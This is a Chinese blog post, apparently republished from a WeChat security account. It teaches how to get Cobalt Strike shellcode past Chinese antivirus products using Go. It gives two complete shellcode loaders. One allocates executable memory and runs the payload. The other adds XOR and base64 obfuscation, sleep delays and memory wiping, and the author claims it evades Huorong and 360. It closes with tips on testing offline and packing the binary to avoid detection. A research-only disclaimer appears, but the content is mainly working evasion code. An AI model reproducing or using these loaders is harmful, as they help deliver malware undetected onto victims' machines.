Shellcode免杀之初探go免杀

admin 2025年2月20日23:44:24评论9 views字数 4116阅读13分43秒阅读模式
一.前言
       之前一直在用python去做免杀,做出来的免杀效果去过国内杀软还是没问题,python免杀整体来说相对比较容易。但是随着安全厂商的发展,用主流的语言去做免杀肯定效果会一天比一天的差,于是便有了想法学习一下Go语言,Go语言是谷歌2009发布的第二款开源编程语言。Go语言专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速度,而且更加安全、支持并行进程。
二.前置知识
     想要去做免杀我们需要了解在windows操作系统底层是如何运作的,了解的越多对我们做免杀帮助越大。在这里给大家介绍一下windows 中重要的几个api函数
      首先我们来看VirtualAlloc,VirtualAlloc是一个Windows api函数,该函数的功能是在调用进程的虚地址空间,预定或者提交一部分页,下面是官方给出的api参考文档

  1. LPVOID VirtualAlloc{

  2. LPVOID lpAddress,

  3. DWORD dwSize,

  4. DWORD flAllocationType,

  5. DWORD flProtect

  6. };

      可以看到调用这个api我们需要传四个值进去,分别是指定要 分配哪块地址,分配内存空间的大小,分配内存所在页的属性,以及该内存页的保护属性,掉用完成后函数会返回一个地址供我们后续使用,前两个参数没什么好说的,重点是后两个,flAllocationType这个参数我们可以设置成MEM_RESERVE|MEM_COMMIT代表我们先保留内存然后再去提交,flProtect我们设置成PAGE_EXECUTE_READWRITE代表当前内存页可读可写可执行。
      RtlMoveMemory api函数,这个函数我们主要用来从指定内存中复制内存至另一内存里,将shellcode复制到我们开辟出来的内存中。
  1. VOID RtlMoveMemory(

  2. VOID UNALIGNED *Destination,

  3. const VOID UNALIGNED *Source,

  4. SIZE_T Length

  5. );

       这个api同样需要传入三个值,分别是 需要移动目的地址指针,需要复制的内存地址指针,需要复制的字节数。
三.实验开始
攻击机:公网cobalt strike linux主机
靶机:本地物理机
首先用cobalt strike来生成c代码的shellcode

Shellcode免杀之初探go免杀
      将我们生成好的c代码保存到本地,值得一提的是go语言在加载我们shellcode时候他的格式与cs生产出来的不一致所以我们需要将生产出来的shellcode /替换成 ,0

Shellcode免杀之初探go免杀

Shellcode免杀之初探go免杀
     这里我给大家找到了一份shellcode loader,我们将shellcode放入shellcode中编译运行。

  1. package main

  2. import (

  3. "syscall"

  4. "unsafe"

  5. )

  6. const (

  7. MEM_COMMIT = 0x1000

  8. MEM_RESERVE = 0x2000

  9. PAGE_EXECUTE_READWRITE = 0x40

  10. )

  11. var (

  12. kernel32 = syscall.MustLoadDLL("kernel32.dll")

  13. ntdll = syscall.MustLoadDLL("ntdll.dll")

  14. VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")

  15. RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")

  16. )

  17. func main() {

  18. shellcode := []byte{shellcode}

  19. addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

  20. if err != nil && err.Error() != "The operation completed successfully." {

  21. syscall.Exit(0)

  22. }

  23. _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

  24. if err != nil && err.Error() != "The operation completed successfully." {

  25. syscall.Exit(0)

  26. }

  27. syscall.Syscall(addr, 0, 0, 0, 0)

  28. }


     我们用如下命令编译exe go build -ldflags="-H windowsgui" .badgo.go一生成立马被火绒查杀

Shellcode免杀之初探go免杀

Shellcode免杀之初探go免杀
    那么我们继续改进,现在被查杀了因为我们使用的是cs自带的载荷,这些后渗透工具早被安全厂商盯死,所以我们接下来的思路将我们的载荷加密再去生成,那么加密的方式有很多我们该如何去选择呢.即便完成了加密操作,但是shellcode还写在我们的文件中,被拉特征码也是迟早的事情。所以我们接下来的步骤就是要去首先采用一些加密算法抹掉我们原本木马中的静态特征,这里采用了xor异或加解密和base64加解密,并且我们让程序延迟执行尽可能的消耗杀软的检测资源。
    代码如下:使用的话就把cs生成出来的文件放在当前目录即可,编译运行程序就可以上线。

  1. package main

  2. import (

  3. "encoding/base64"

  4. "fmt"

  5. "io/ioutil"

  6. "os"

  7. "syscall"

  8. "time"

  9. "unsafe"

  10. )

  11. const (

  12. MEM_COMMIT = 0x1000

  13. MEM_RESERVE = 0x2000

  14. PAGE_EXECUTE_READWRITE = 0x40

  15. )

  16. var XorKey = []byte{0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B}

  17. func Dencode(src string) []byte {

  18. data1, _ := base64.StdEncoding.DecodeString(src)

  19. xor := []byte(data1)

  20. var shellcode []byte

  21. for i := 0; i < len(xor); i++ {

  22. shellcode = append(shellcode, xor[i]^XorKey[1]^XorKey[2])

  23. }

  24. return shellcode

  25. }

  26. func Encode(src string) string {

  27. shellcode := []byte(src)

  28. var xor_shellcode []byte

  29. for i := 0; i < len(shellcode); i++ {

  30. xor_shellcode = append(xor_shellcode, shellcode[i]^XorKey[2]^XorKey[1])

  31. }

  32. bdata := base64.StdEncoding.EncodeToString(xor_shellcode)

  33. return bdata

  34. }

  35. var (

  36. kernel32 = syscall.MustLoadDLL("kernel32.dll")

  37. ntdll = syscall.MustLoadDLL("ntdll.dll")

  38. VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")

  39. RtlMoveMemory = ntdll.MustFindProc("RtlMoveMemory")

  40. )

  41. func checkError(err error) {

  42. if err != nil {

  43. if err.Error() != "The operation completed successfully." {

  44. println(err.Error())

  45. os.Exit(1)

  46. }

  47. }

  48. }

  49. func exec(charcode []byte) {

  50. addr, _, err := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

  51. if addr == 0 {

  52. checkError(err)

  53. }

  54. time.Sleep(5)

  55. _, _, err = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))

  56. checkError(err)

  57. time.Sleep(5)

  58. for j := 0; j < len(charcode); j++ {

  59. charcode[j] = 0

  60. }

  61. syscall.Syscall(addr, 0, 0, 0, 0)

  62. }

  63. func read(file string) []byte {

  64. data, err := ioutil.ReadFile(file)

  65. if err != nil {

  66. fmt.Print(err)

  67. }

  68. return data

  69. }

  70. func main() {

  71. Encode := Encode(string(read("./payload.bin")))

  72. shellCodeHex := Dencode(Encode)

  73. exec(shellCodeHex)

  74. }


我们接下来编译生成 go build -ldflags="-H windowsgui" .loader.go
火绒版本5.0.66.31648980778(1)
360版本:13.1.0.1005

Shellcode免杀之初探go免杀

Shellcode免杀之初探go免杀
四.总结

友情提示,测试杀毒效果最好断网,杀软都有云查杀,容易被拉特征,当然还可以对生成出来的木马去加壳继续混淆,建议加壳用一些冷门壳,有些壳的特征也被安全厂商标识,加壳操作这里我就不给大家演示了。由于本人能力水平有限,文章中若出现表达错误的地方,还请各位师傅原谅,本人还会继续深入研究免杀领域相关技术知识,在这里感谢很多师傅的文章中的思路给了自己很多启发。

    昆仑云安全实验室系列文章仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担!!!

    昆仑云安全实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!!!

原文始发于微信公众号(昆仑云安全):Shellcode免杀之初探go免杀

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月20日23:44:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shellcode免杀之初探go免杀https://cn-sec.com/archives/911410.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息